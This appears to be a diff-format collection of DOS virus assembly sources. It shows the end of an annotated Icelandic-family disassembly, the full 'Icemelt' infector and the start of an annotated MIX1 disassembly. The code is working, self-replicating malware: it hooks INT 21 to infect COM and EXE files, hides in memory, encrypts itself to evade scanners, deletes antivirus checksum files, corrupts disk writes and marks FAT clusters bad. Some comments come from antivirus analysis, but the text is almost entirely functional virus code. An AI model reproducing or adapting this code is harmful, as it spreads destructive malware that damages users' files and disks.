; 2. The new INT 21 handler. It will look for EXEC calls, and
|
||||
; (sometimes) infect the program being run.
|
||||
;
|
||||
; 3. The damage routine. It will select one unused cluster and mark it
|
||||
; as bad.
|
||||
;
|
||||
VIRUS PROC FAR
|
||||
;
|
||||
; This is a fake MCB
|
||||
;
|
||||
DB 'Z',00,00,VIRSIZ,0,0,0,0,0,0,0,0,0,0,0,0
|
||||
;
|
||||
; The virus starts by pushing the original start address on the stack,
|
||||
; so it can transfer control there when finished.
|
||||
;
|
||||
LABIA: SUB SP,4
|
||||
PUSH BP
|
||||
MOV BP,SP
|
||||
PUSH AX
|
||||
MOV AX,ES
|
||||
;
|
||||
; Put the the original CS on the stack. The ADD AX,data instruction
|
||||
; is modified by the virus when it infects other programs.
|
||||
;
|
||||
DB 05H
|
||||
ORG_CS DW 0010H
|
||||
MOV [BP+4],AX
|
||||
;
|
||||
; Put the the original IP on the stack. This MOV [BP+2],data instruction
|
||||
; is modified by the virus when it infects other programs.
|
||||
;
|
||||
DB 0C7H,46H,02H
|
||||
ORG_IP DW 0000H
|
||||
;
|
||||
; Save all registers that are modified.
|
||||
;
|
||||
PUSH ES
|
||||
PUSH DS
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH SI
|
||||
PUSH DI
|
||||
;
|
||||
; Check if already installed. Quit if so.
|
||||
;
|
||||
XOR AX,AX
|
||||
MOV ES,AX
|
||||
CMP ES:[37FH],BYTE PTR 0FFH
|
||||
JNE L1
|
||||
;
|
||||
; Restore all registers and return to the original program.
|
||||
;
|
||||
EXIT: POP DI
|
||||
POP SI
|
||||
POP CX
|
||||
POP BX
|
||||
POP DS
|
||||
POP ES
|
||||
POP AX
|
||||
POP BP
|
||||
RET
|
||||
;
|
||||
; Check if INT 13 is 0070:xxxx or F000:xxxx. If not, assume some
|
||||
; program is monitoring int 13, and quit.
|
||||
;
|
||||
L1: MOV AX,ES:[4EH]
|
||||
CMP AX,0070H
|
||||
JE L2
|
||||
CMP AX,0F000H
|
||||
JNE EXIT
|
||||
;
|
||||
; Set the installation flag, so infected programs run later will
|
||||
; recognize the infection.
|
||||
;
|
||||
L2: MOV ES:[37FH],BYTE PTR 0FFH
|
||||
;
|
||||
; The virus tries to hide from detection by modifying the memory block it
|
||||
; uses, so it seems to be a block that belongs to the operating system.
|
||||
;
|
||||
; It looks rather weird, but it seems to work.
|
||||
;
|
||||
MOV AH,52H
|
||||
INT 21H
|
||||
MOV AX,ES:[BX-2]
|
||||
MOV ES,AX
|
||||
ADD AX,ES:[0003]
|
||||
INC AX
|
||||
INC AX
|
||||
MOV CS:[0001],AX
|
||||
;
|
||||
; Next, the virus modifies the memory block of the infected program.
|
||||
; It is made smaller, and no longer the last block.
|
||||
;
|
||||
MOV BX,DS
|
||||
DEC BX
|
||||
MOV DS,BX
|
||||
MOV AL,'M'
|
||||
MOV DS:[0000],AL
|
||||
MOV AX,DS:[0003]
|
||||
SUB AX,VIRSIZ
|
||||
MOV DS:[0003],AX
|
||||
ADD BX,AX
|
||||
INC BX
|
||||
;
|
||||
; Then the virus moves itself to the new block. For some reason 2000
|
||||
; bytes are transferred, when 651 would be enough. Maybe the author just
|
||||
; wanted to leave room for future expansions.
|
||||
;
|
||||
MOV ES,BX
|
||||
XOR SI,SI
|
||||
XOR DI,DI
|
||||
PUSH CS
|
||||
POP DS
|
||||
MOV CX,2000
|
||||
CLD
|
||||
REP MOVSB
|
||||
;
|
||||
; The virus then transfers control to the new copy of itself.
|
||||
;
|
||||
PUSH ES
|
||||
MOV AX,OFFSET L3
|
||||
PUSH AX
|
||||
RET
|
||||
;
|
||||
; The main program modifies INT 21 next and finally returns to the
|
||||
; original program. The original INT 21 vector is stored inside the
|
||||
; program so a JMP [OLD INT21] instruction can be used.
|
||||
;
|
||||
L3: XOR AX,AX
|
||||
MOV ES,AX
|
||||
MOV AX,ES:[0084H]
|
||||
MOV CS:[OLD21],AX
|
||||
MOV AX,ES:[0086H]
|
||||
MOV CS:[OLD21+2],AX
|
||||
MOV AX,CS
|
||||
MOV ES:[0086H],AX
|
||||
MOV AX,OFFSET NEW21
|
||||
MOV ES:[0084H],AX
|
||||
JMP EXIT
|
||||
VIRUS ENDP
|
||||
;
|
||||
; This is the INT 21 replacement. It only does something in the case
|
||||
; of an EXEC call.
|
||||
;
|
||||
NEW21 PROC FAR
|
||||
CMP AH,4BH
|
||||
JE L5
|
||||
L4: DB 0EAH
|
||||
OLD21 DW 0,0
|
||||
;
|
||||
; Only attack every tenth program run.
|
||||
;
|
||||
L5: DEC CS:[COUNTER]
|
||||
JNE L4
|
||||
MOV CS:[COUNTER],10
|
||||
;
|
||||
; Save all affected registers.
|
||||
;
|
||||
PUSH AX
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
PUSH SI
|
||||
PUSH DS
|
||||
;
|
||||
; Search for the file name extension ...
|
||||
;
|
||||
MOV BX,DX
|
||||
L6: INC BX
|
||||
CMP BYTE PTR [BX],'.'
|
||||
JE L8
|
||||
CMP BYTE PTR [BX],0
|
||||
JNE L6
|
||||
;
|
||||
; ... and quit unless it starts with "EX".
|
||||
;
|
||||
L7: POP DS
|
||||
POP SI
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
JMP L4
|
||||
L8: INC BX
|
||||
CMP WORD PTR [BX],5845H
|
||||
JNE L7
|
||||
;
|
||||
; When an .EXE file is found, the virus starts by turning off
|
||||
; the read-only attribute. The read-only attribute is not restored
|
||||
; when the file has been infected.
|
||||
;
|
||||
MOV AX,4300H ; Get attribute
|
||||
INT 21H
|
||||
JC L7
|
||||
MOV AX,4301H ; Set attribute
|
||||
AND CX,0FEH
|
||||
INT 21H
|
||||
JC L7
|
||||
;
|
||||
; Next, the file is examined to see if it is already infected.
|
||||
; The signature (4418 5F19) is stored in the last two words.
|
||||
;
|
||||
MOV AX,3D02H ; Open / write access
|
||||
INT 21H
|
||||
JC L7
|
||||
MOV BX,AX ; file handle in BX
|
||||
PUSH CS ; now DS is no longer needed
|
||||
POP DS
|
||||
;
|
||||
; The header of the file is read in at [ID+8]. The virus then
|
||||
; modifies itself, according to the information stored in the
|
||||
; header. (The original CS and IP addressed are stored).
|
||||
;
|
||||
MOV DX,OFFSET ID+8
|
||||
MOV CX,1CH
|
||||
MOV AH,3FH
|
||||
INT 21H
|
||||
JC L9
|
||||
MOV AX,DS:ID[1CH]
|
||||
MOV DS:[ORG_IP],AX
|
||||
MOV AX,DS:ID[1EH]
|
||||
ADD AX,10H
|
||||
MOV DS:[ORG_CS],AX
|
||||
;
|
||||
; Next the read/write pointer is moved to the end of the file-4,
|
||||
; and the last 4 bytes read. They are compared to the signature,
|
||||
; and if equal nothing happens.
|
||||
;
|
||||
MOV AX,4202H
|
||||
MOV CX,-1
|
||||
MOV DX,-4
|
||||
INT 21H
|
||||
JC L9
|
||||
ADD AX,4
|
||||
MOV DS:[LEN_LO],AX
|
||||
JNC L8A
|
||||
INC DX
|
||||
L8A: MOV DS:[LEN_HI],DX
|
||||
|
||||
MOV AH,3FH
|
||||
MOV CX,4
|
||||
MOV DX,OFFSET ID+4
|
||||
INT 21H
|
||||
JNC L11
|
||||
L9: MOV AH,3EH
|
||||
INT 21H
|
||||
L10: JMP L7
|
||||
;
|
||||
; Compare to 4418,5F19
|
||||
;
|
||||
L11: MOV SI,OFFSET ID+4
|
||||
MOV AX,[SI]
|
||||
CMP AX,4418H
|
||||
JNE L12
|
||||
MOV AX,[SI+2]
|
||||
CMP AX,5F19H
|
||||
JE L9
|
||||
;
|
||||
; The file is not infected, so the next thing the virus does is
|
||||
; infecting it. First it is padded so the length becomes a multiple
|
||||
; of 16 bytes. Tis is probably done so the virus code can start at a
|
||||
; paragraph boundary.
|
||||
;
|
||||
L12: MOV AX,DS:[LEN_LO]
|
||||
AND AX,0FH
|
||||
JZ L13
|
||||
MOV CX,16
|
||||
SUB CX,AX
|
||||
ADD DS:[LEN_LO],CX
|
||||
JNC L12A
|
||||
INC DS:[LEN_HI]
|
||||
L12A: MOV AH,40H
|
||||
INT 21H
|
||||
JC L9
|
||||
;
|
||||
; Next the main body of the virus is written to the end.
|
||||
;
|
||||
L13: XOR DX,DX
|
||||
MOV CX,OFFSET ID + 4
|
||||
MOV AH,40H
|
||||
INT 21H
|
||||
JC L9
|
||||
;
|
||||
; Next the .EXE file header is modified:
|
||||
;
|
||||
; First modify initial IP
|
||||
;
|
||||
MOV AX,OFFSET LABIA
|
||||
MOV DS:ID[1CH],AX
|
||||
;
|
||||
; Modify starting CS = Virus CS. It is computed as:
|
||||
;
|
||||
; (Original length of file+padding)/16 - Start of load module
|
||||
;
|
||||
MOV DX,DS:[LEN_HI]
|
||||
MOV AX,DS:[LEN_LO]
|
||||
SHR DX,1
|
||||
RCR AX,1
|
||||
SHR DX,1
|
||||
RCR AX,1
|
||||
SHR DX,1
|
||||
RCR AX,1
|
||||
SHR DX,1
|
||||
RCR AX,1
|
||||
SUB AX,DS:ID[10H]
|
||||
MOV DS:ID[1EH],AX
|
||||
;
|
||||
; Modify length mod 512
|
||||
;
|
||||
ADD DS:[LEN_LO],OFFSET ID+4
|
||||
JNC L14
|
||||
INC DS:[LEN_HI]
|
||||
L14: MOV AX,DS:[LEN_LO]
|
||||
AND AX,511
|
||||
MOV DS:ID[0AH],AX
|
||||
;
|
||||
; Modify number of blocks used
|
||||
;
|
||||
MOV DX,DS:[LEN_HI]
|
||||
MOV AX,DS:[LEN_LO]
|
||||
ADD AX,511
|
||||
JNC L14A
|
||||
INC DX
|
||||
L14A: MOV AL,AH
|
||||
MOV AH,DL
|
||||
SHR AX,1
|
||||
MOV DS:ID[0CH],AX
|
||||
;
|
||||
; Finally the modified header is written back to the start of the
|
||||
; file.
|
||||
;
|
||||
QQQ: MOV AX,4200H
|
||||
XOR CX,CX
|
||||
XOR DX,DX
|
||||
INT 21H
|
||||
JC ENDIT
|
||||
MOV AH,40H
|
||||
MOV DX,OFFSET ID+8
|
||||
MOV CX,1CH
|
||||
INT 21H
|
||||
JC ENDIT
|
||||
MOV AH,3EH
|
||||
INT 21H
|
||||
JNC DAMAGE
|
||||
;
|
||||
; Infection is finished - close the file and execute it
|
||||
;
|
||||
ENDIT: JMP L9
|
||||
NEW21 ENDP
|
||||
;
|
||||
; The damage routine. As before noted, it will only do damage on
|
||||
; systems with a hard disk larger than 10Mbytes (With 16 bit FAT)
|
||||
;
|
||||
TEMP DW 0
|
||||
;
|
||||
; Start by getting some information about the current drive, like size
|
||||
; of the FAT etc. Then compute the total number of sectors, and quit
|
||||
; unless it is greater than 20740. This is probably done since larger
|
||||
; disks use 16 bit FAT entries, instead of 12, which makes life easier
|
||||
; for the programmer.
|
||||
;
|
||||
DAMAGE: MOV AH,32H
|
||||
MOV DL,0
|
||||
INT 21H
|
||||
CMP AL,0FFH
|
||||
JE L21
|
||||
XOR AX,AX
|
||||
MOV AL,[BX+4]
|
||||
INC AX
|
||||
MOV CS:[TEMP],AX
|
||||
MOV AX,[BX+0DH]
|
||||
DEC AX
|
||||
MUL CS:[TEMP]
|
||||
ADD AX,[BX+0BH]
|
||||
JNC L15A
|
||||
INC DX
|
||||
L15A: CMP DX,0
|
||||
JNE L15B
|
||||
CMP AX,20740
|
||||
JBE L21
|
||||
;
|
||||
; Check if DOS version is 4.0 or greater. If so, use a 16 bit value
|
||||
; for numbers of sectors in the FAT, otherwise use a 8 bit entry.
|
||||
L15B: PUSH BX
|
||||
MOV AH,30H
|
||||
INT 21H
|
||||
POP BX
|
||||
CMP AL,4
|
||||
JAE L15
|
||||
XOR AX,AX
|
||||
MOV AL,[BX+0FH]
|
||||
JMP SHORT L16
|
||||
L15: MOV AX,[BX+0FH]
|
||||
L16: ADD AX,[BX+6]
|
||||
DEC AX
|
||||
MOV DX,AX
|
||||
MOV AL,[BX]
|
||||
;
|
||||
; Read the last sector in the first copy of the FAT. Search backwards
|
||||
; for an unused entry. If none is found, read the sector before that
|
||||
; and so on. If no free entry is found on the entire disk then quit.
|
||||
;
|
||||
L20: MOV CX,1
|
||||
MOV BX,OFFSET ID+4
|
||||
PUSH CS
|
||||
POP DS
|
||||
PUSH AX
|
||||
PUSH DX
|
||||
INT 25H
|
||||
POPF
|
||||
JC L21
|
||||
POP DX
|
||||
POP AX
|
||||
MOV SI,510
|
||||
L17: MOV BX,DS:[ID+4+SI]
|
||||
CMP BX,0000
|
||||
JE L19
|
||||
CMP SI,0000
|
||||
JE L18
|
||||
DEC SI
|
||||
DEC SI
|
||||
JMP L17
|
||||
L18: DEC DX
|
||||
CMP DX,8
|
||||
JE L21
|
||||
JMP L20
|
||||
;
|
||||
; A free entry has been found. Make it look like a bad cluster, by
|
||||
; changing the 0000 value to FFF7.
|
||||
;
|
||||
L19: MOV DS:[ID+4+SI],0FFF7H
|
||||
MOV CX,1
|
||||
MOV BX,OFFSET ID+4
|
||||
INT 26H
|
||||
POPF
|
||||
L21: JMP L7
|
||||
|
||||
COUNTER DB 10
|
||||
LEN_LO DW ?
|
||||
LEN_HI DW ?
|
||||
ID DW 4418H,5F19H ; The signature of the virus.
|
||||
;
|
||||
; A buffer, used for data from the file.
|
||||
;
|
||||
_TEXT ENDS
|
||||
|
||||
END LABIA
|
||||
|
||||
|
||||
@@ -0,0 +1,409 @@
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä
|
||||
; Icemelt - (c)1995 ûirogen - Using ûiCE v0.2á
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä
|
||||
;
|
||||
; þ Infects COM and EXE when executed.
|
||||
; þ COM Infection marker: fourth byte is 0
|
||||
; þ EXE infection marker: Checksum in header not equal to 0.
|
||||
; þ Time/Date do not change
|
||||
; þ Read-only and hidden files will be infected, and attributes restored.
|
||||
; þ Virus installs its own critical error handler
|
||||
; þ Deletes MSAV and CPAV Checksum filez.
|
||||
; þ Activates on the second of any month, at which time it will phuck
|
||||
; up all file writes using INT 21h/func 40h.
|
||||
; þ Does not use ViCE anti-tbscan. Has a second cryptor to thwart many
|
||||
; TBSCAN flags. Does not use ViCE Garbage.
|
||||
;
|
||||
|
||||
|
||||
cseg segment
|
||||
assume cs:cseg, ds:cseg, es:cseg, ss:cseg
|
||||
|
||||
signal equ 0FA01h ; AX=signal/INT 21h/installation chk
|
||||
vsafe_word equ 5945h ; magic word for VSAFE/VWATCH API
|
||||
special equ 11h
|
||||
act_day equ 2
|
||||
buf_size equ 170
|
||||
vice_size equ 1602+buf_size
|
||||
virus_size equ (offset vend-offset start)+VICE_SIZE
|
||||
extrn _vice:near
|
||||
|
||||
org 0h
|
||||
start:
|
||||
|
||||
push ds es
|
||||
inc si
|
||||
mov ax,1000h ; looks like legit. INT call..
|
||||
add ax,signal-1000h ; are we memory resident?
|
||||
mov dx,vsafe_word
|
||||
mov bl,special
|
||||
int 21h
|
||||
call nx ; get relative offset
|
||||
nx: pop bp
|
||||
sub bp,offset nx
|
||||
or si,si
|
||||
jz no_install ; if carry then we are
|
||||
|
||||
call crypt ; decrypt the next few bytez
|
||||
c_start:
|
||||
mov cs:activate[bp],0
|
||||
mov ah,2ah ; get date
|
||||
int 21h
|
||||
cmp dl,act_day ;
|
||||
jnz no_act
|
||||
mov cs:activate[bp],1
|
||||
no_act:
|
||||
|
||||
mov ax,ds ; PSP segment
|
||||
dec ax ; mcb below PSP m0n
|
||||
mov ds,ax ; DS=MCB seg
|
||||
cmp byte ptr ds: [0],'Z' ; Is this the last MCB in chain?
|
||||
jnz no_install
|
||||
sub word ptr ds: [3],((virus_size+1023)/1024)*64*2 ; alloc MCB
|
||||
sub word ptr ds: [12h],((virus_size+1023)/1024)*64*2 ; alloc PSP
|
||||
mov es,word ptr ds: [12h] ; get high mem seg
|
||||
push cs
|
||||
pop ds
|
||||
mov si,bp
|
||||
mov cx,virus_size/2+1
|
||||
xor di,di
|
||||
rep movsw ; copy code to new seg
|
||||
xor ax,ax
|
||||
mov ds,ax ; null ds
|
||||
push ds
|
||||
lds ax,ds: [21h*4] ; get 21h vector
|
||||
mov es: word ptr old21+2,ds ; save S:O
|
||||
mov es: word ptr old21,ax
|
||||
pop ds
|
||||
mov ds: [21h*4+2],es ; new int 21h seg
|
||||
mov ds: [21h*4],offset new21 ; new offset
|
||||
sub byte ptr ds: [413h],((virus_size+1023)*2)/1024;-totalmem
|
||||
c_end:
|
||||
no_install:
|
||||
|
||||
pop es ds ; restore ES DS
|
||||
cmp cs:is_exe[bp],1
|
||||
jz exe_return
|
||||
|
||||
lea si,org_bytes[bp] ; com return
|
||||
mov di,0100h ; -restore first 4 bytes
|
||||
mov cx,2
|
||||
rep movsw
|
||||
|
||||
mov ax,100h ; jump back to 100h
|
||||
push ax
|
||||
_ret:ret
|
||||
|
||||
exe_return:
|
||||
mov cx,ds ; calc. real CS
|
||||
add cx,10h
|
||||
add word ptr cs:[exe_jump+2+bp],cx
|
||||
int 3 ; fix prefetch
|
||||
db 0eah
|
||||
exe_jump dd 0
|
||||
is_exe db 0
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; Crypts portion of virus
|
||||
;
|
||||
crypt_res:
|
||||
xor bp,bp
|
||||
crypt:
|
||||
lea si,c_start
|
||||
add si,bp
|
||||
mov cx,(offset c_end-offset c_start)
|
||||
add byte ptr cs:xor_op[bp],10h ; self modifying code...
|
||||
int 3 ; fix prefetch
|
||||
l1:
|
||||
db 2Eh
|
||||
xor_op db 70h,34h ; tbscan won't flag this bitch
|
||||
xor_val db 0
|
||||
inc si
|
||||
loop l1
|
||||
sub byte ptr cs:xor_op[bp],10h ; unmodify code
|
||||
ret
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; Infection routine - called from INT 21h handler.
|
||||
; DS:DX=fname
|
||||
;
|
||||
|
||||
infect_file:
|
||||
|
||||
push dx
|
||||
pop si
|
||||
|
||||
push ds
|
||||
xor ax,ax ; null ES
|
||||
mov es,ax
|
||||
lds ax,es:[24h*4] ; get INT 24h vector
|
||||
mov cs:old_24_off,ax ; save it
|
||||
mov cs:old_24_seg,ds
|
||||
mov es:[24h*4+2],cs ; install our handler
|
||||
mov es:[24h*4],offset new_24
|
||||
pop ds
|
||||
push es ; we'll need it later
|
||||
push cs
|
||||
pop es
|
||||
|
||||
mov ax,4300h ; get phile attribute
|
||||
int 21h
|
||||
mov ax,4301h ; null attribs
|
||||
push ax cx ; save AX-call/CX-attrib
|
||||
xor cx,cx
|
||||
int 21h
|
||||
|
||||
mov ax,3d02h ; open the file
|
||||
int 21h
|
||||
jc dont_do
|
||||
|
||||
mov bx,ax ; get handle
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
call kill_chklst
|
||||
|
||||
mov ah,3fh ; Read first bytes of file
|
||||
mov cx,20h
|
||||
lea dx,org_bytes
|
||||
int 21h
|
||||
|
||||
cmp byte ptr org_bytes,'M' ; single byte avoids heuristic flag
|
||||
jz do_exe
|
||||
cmp byte ptr org_bytes+3,0
|
||||
jz close
|
||||
|
||||
mov is_exe,0
|
||||
|
||||
mov ax,5700h ; get time/date
|
||||
int 21h
|
||||
push cx dx
|
||||
|
||||
call offset_end
|
||||
push ax ; AX=end of file
|
||||
|
||||
lea si,start ; DS:SI=start of code to encrypt
|
||||
mov di,virus_size ; ES:DI=address for decryptor/
|
||||
push di ; encrypted code. (at heap)
|
||||
mov cx,virus_size ; CX=virus size
|
||||
mov dx,ax ; DX=EOF offset
|
||||
add dx,100h ; DX=offset decryptor will run from
|
||||
mov al,00000001b ; no garbage, no CS:
|
||||
call _vice ; call engine!
|
||||
|
||||
pop dx
|
||||
mov ah,40h
|
||||
int 21h
|
||||
|
||||
call offset_zero
|
||||
pop ax ; restore COM file size
|
||||
sub ax,3 ; calculate jmp offset
|
||||
mov word ptr new_jmp+1,ax
|
||||
|
||||
lea dx,new_jmp
|
||||
mov cx,4
|
||||
mov ah,40h
|
||||
int 21h
|
||||
|
||||
pop dx cx ; pop date/time
|
||||
mov ax,5701h ; restore the mother fuckers
|
||||
int 21h
|
||||
|
||||
close:
|
||||
|
||||
pop cx ax ; restore attrib
|
||||
int 21h
|
||||
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
|
||||
dont_do:
|
||||
pop es ; ES=0
|
||||
lds ax,dword ptr old_24_off ; restore shitty DOS error handler
|
||||
mov es:[24h*4],ax
|
||||
mov es:[24h*4+2],ds
|
||||
|
||||
ret
|
||||
|
||||
do_exe:
|
||||
|
||||
cmp word ptr exe_header[12h],0 ; is checksum (in hdr) 0?
|
||||
jnz close
|
||||
cmp byte ptr exe_header[18h],52h ; pklite'd?
|
||||
jz exe_ok
|
||||
cmp byte ptr exe_header[18h],40h ; don't infect new format exe
|
||||
jge close
|
||||
exe_ok:
|
||||
push bx
|
||||
|
||||
mov ah,2ch ; grab a random number
|
||||
int 21h
|
||||
mov word ptr exe_header[12h],dx ; mark that it's us
|
||||
mov is_exe,1
|
||||
|
||||
les ax,dword ptr exe_header+14h ; Save old entry point
|
||||
mov word ptr ds:exe_jump, ax
|
||||
mov word ptr ds:exe_jump+2, es
|
||||
|
||||
push cs
|
||||
pop es
|
||||
|
||||
call offset_end
|
||||
|
||||
push dx ax ; save file size DX:AX
|
||||
|
||||
mov bx, word ptr exe_header+8h ; calc. new entry point
|
||||
mov cl,4 ; *16
|
||||
shl bx,cl ; ^by shifting one byte
|
||||
sub ax,bx ; get actual file size-header
|
||||
sbb dx,0
|
||||
mov cx,10h ; divide AX/CX rDX
|
||||
div cx
|
||||
|
||||
mov word ptr exe_header+14h,dx
|
||||
mov word ptr exe_header+16h,ax
|
||||
mov rel_off,dx
|
||||
|
||||
pop ax ; AX:DX file size
|
||||
pop dx
|
||||
pop bx
|
||||
|
||||
mov cx,virus_size+10h ; calc. new size
|
||||
adc ax,cx
|
||||
|
||||
mov cl,9 ; calc new alloc (512)
|
||||
push ax
|
||||
shr ax,cl
|
||||
ror dx,cl
|
||||
stc
|
||||
adc dx,ax
|
||||
pop ax ; ax=size+virus
|
||||
and ah,1
|
||||
|
||||
mov word ptr exe_header+4h,dx
|
||||
mov word ptr exe_header+2h,ax
|
||||
|
||||
lea si,start ; DS:SI=start of code to encrypt
|
||||
mov di,virus_size ; ES:DI=address for decryptor and
|
||||
push di ; encrypted code (at heap)
|
||||
mov cx,virus_size ; CX=virus size
|
||||
mov dx,rel_off ; DX=offset decryptor will run from
|
||||
mov al,00000000b ; no garbage, use CS:
|
||||
call _vice ; call engine!
|
||||
|
||||
pop dx
|
||||
mov ah,40h
|
||||
int 21h
|
||||
|
||||
call offset_zero
|
||||
|
||||
mov cx,18h ; write fiXed header
|
||||
lea dx,exe_header
|
||||
mov ah,40h
|
||||
int 21h
|
||||
|
||||
jmp close
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; set file ptr
|
||||
|
||||
offset_zero: ; self explanitory
|
||||
xor al,al
|
||||
jmp set_fp
|
||||
offset_end:
|
||||
mov al,02h
|
||||
set_fp:
|
||||
mov ah,42h
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21h
|
||||
ret
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; Kill those darned MSAV and CPAV filez..
|
||||
;
|
||||
kill_chklst:
|
||||
mov di,2 ; counter for loop
|
||||
lea dx,first_2die ; first fname to kill
|
||||
kill_loop:
|
||||
mov ax,4301h ; reset attribs
|
||||
xor cx,cx
|
||||
int 21h
|
||||
mov ah,41h ; delete phile
|
||||
int 21h
|
||||
lea dx,last_2die ; second fname to kill
|
||||
dec di
|
||||
jnz kill_loop
|
||||
|
||||
ret
|
||||
first_2die db 'CHKLIST.MS',0 ; MSAV shitty checksum
|
||||
last_2die db 'CHKLIST.CPS',0 ; CPAV shitty checksum
|
||||
|
||||
|
||||
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; new 21h
|
||||
|
||||
new21:
|
||||
|
||||
pushf
|
||||
cmp ax,signal ; be it us?
|
||||
jnz not_us ; richtig..
|
||||
cmp dx,vsafe_word
|
||||
jnz not_us
|
||||
cmp bl,special
|
||||
jnz not_us
|
||||
xor si,si
|
||||
mov di,4559h
|
||||
jmp jmp_org
|
||||
not_us:
|
||||
cmp cs:activate,0 ; time to activate?
|
||||
jz nchk
|
||||
cmp ah,40h ; write to phile?
|
||||
jnz jmp_org
|
||||
lea dx,credits ; phuck up address..
|
||||
push cs
|
||||
pop ds
|
||||
nchk: cmp ax,4b00h ; execute phile?
|
||||
jnz jmp_org
|
||||
|
||||
push ax bx cx di dx si ds es bp dx
|
||||
mov ah,2ch ; grab random for cryptor
|
||||
int 21h
|
||||
mov byte ptr cs:xor_val,dl
|
||||
pop dx
|
||||
call crypt_res
|
||||
call infect_file
|
||||
call crypt_res
|
||||
pop bp es ds si dx di cx bx ax
|
||||
|
||||
jmp_org:
|
||||
popf
|
||||
db 0eah ; jump far XXXX:XXXX
|
||||
old21 dd 0
|
||||
|
||||
|
||||
new_24: ; critical error handler
|
||||
mov al,3 ; prompts suck, return fail
|
||||
iret
|
||||
|
||||
|
||||
activate db 0
|
||||
txt_ptr dw offset credits
|
||||
credits db '[IceMelt, by ûirogen]'
|
||||
credit_end:
|
||||
new_jmp db 0E9h,0,0,0 ; jmp XXXX,0
|
||||
rel_off dw 0
|
||||
exe_header:
|
||||
org_bytes db 0CDh,20h,0,0 ; original COM bytes | exe hdr
|
||||
heap:
|
||||
db 16h dup(0) ; remaining exe header space
|
||||
old_24_off dw 0 ; old int24h vector
|
||||
old_24_seg dw 0
|
||||
vend:
|
||||
cseg ends
|
||||
end start
|
||||
|
||||
@@ -0,0 +1,857 @@
|
||||
; THE MIX1 virus
|
||||
;
|
||||
; It was first detected in Israel in August '89.
|
||||
;
|
||||
; Disassembly done Sept. 24-25 '89.
|
||||
;
|
||||
; The author of this program is unknown, but it is clearly a
|
||||
; modification of the "Icelandic" virus, with considerable
|
||||
; additions
|
||||
;
|
||||
; All comments in this file were added by Fridrik Skulason,
|
||||
; University of Iceland/Computing Services.
|
||||
;
|
||||
; INTERNET: frisk@rhi.hi.is
|
||||
; UUCP: ...mcvax!hafro!rhi!frisk
|
||||
; BIX: FRISK
|
||||
;
|
||||
; To anyone who obtains this file - please be careful with it, I
|
||||
; would not like to see this virus be distributed too much.
|
||||
;
|
||||
; A short description of the virus:
|
||||
;
|
||||
; It only infects .EXE files. Infected files grow by ... to ... bytes.
|
||||
; The virus attaches itself to the end of the programs it infects.
|
||||
;
|
||||
; When an infected file is run, the virus copies itself to top of
|
||||
; free memory, and modifies the memory blocks, in order to hide from
|
||||
; memory mapping programs. Some programs may overwrite this area,
|
||||
; causing the computer to crash.
|
||||
;
|
||||
; The virus will hook INT 21H and when function 4B (EXEC) is called
|
||||
; it sometimes will infect the program being run. It will check every
|
||||
; tenth program that is run for infection, and if it is not already
|
||||
; infected, it will be.
|
||||
;
|
||||
; The virus will remove the Read-Only attribute before trying to
|
||||
; infect programs.
|
||||
;
|
||||
; Infected files can be easily recognized, since they always end in
|
||||
; "MIX1"
|
||||
;
|
||||
; To check for system infection, a byte at 0:33C is used - if it
|
||||
; contains 77 the virus is installed in memory.
|
||||
;
|
||||
;
|
||||
VIRSIZ EQU 128
|
||||
|
||||
;
|
||||
; This is the original program, just used so this file, when
|
||||
; assembled, will produce an active copy.
|
||||
;
|
||||
_TEXT1 SEGMENT PARA PUBLIC
|
||||
_START DB 0b4H,09H
|
||||
PUSH CS
|
||||
POP DS
|
||||
MOV DX,OFFSET STRING
|
||||
INT 21H
|
||||
MOV AX,4C00H
|
||||
INT 21H
|
||||
STRING DB "Hello world!",0dh,0ah,"$"
|
||||
_TEXT1 ENDS
|
||||
|
||||
CODE SEGMENT PARA PUBLIC 'CODE'
|
||||
ASSUME CS:CODE,DS:NOTHING,SS:NOTHING,ES:NOTHING
|
||||
|
||||
;
|
||||
; The virus is basically divided in the following parts.
|
||||
;
|
||||
; 1. The main program - run when an infected program is run.
|
||||
; It will check if the system is already infected, and if not
|
||||
; it will install the virus.
|
||||
;
|
||||
; 2. The new INT 17 handler. All outgoing characters will be garbled.
|
||||
;
|
||||
; 3. The new INT 14 handler. All outgoing characters will be garbled.
|
||||
;
|
||||
; 4. The new INT 8 handler.
|
||||
;
|
||||
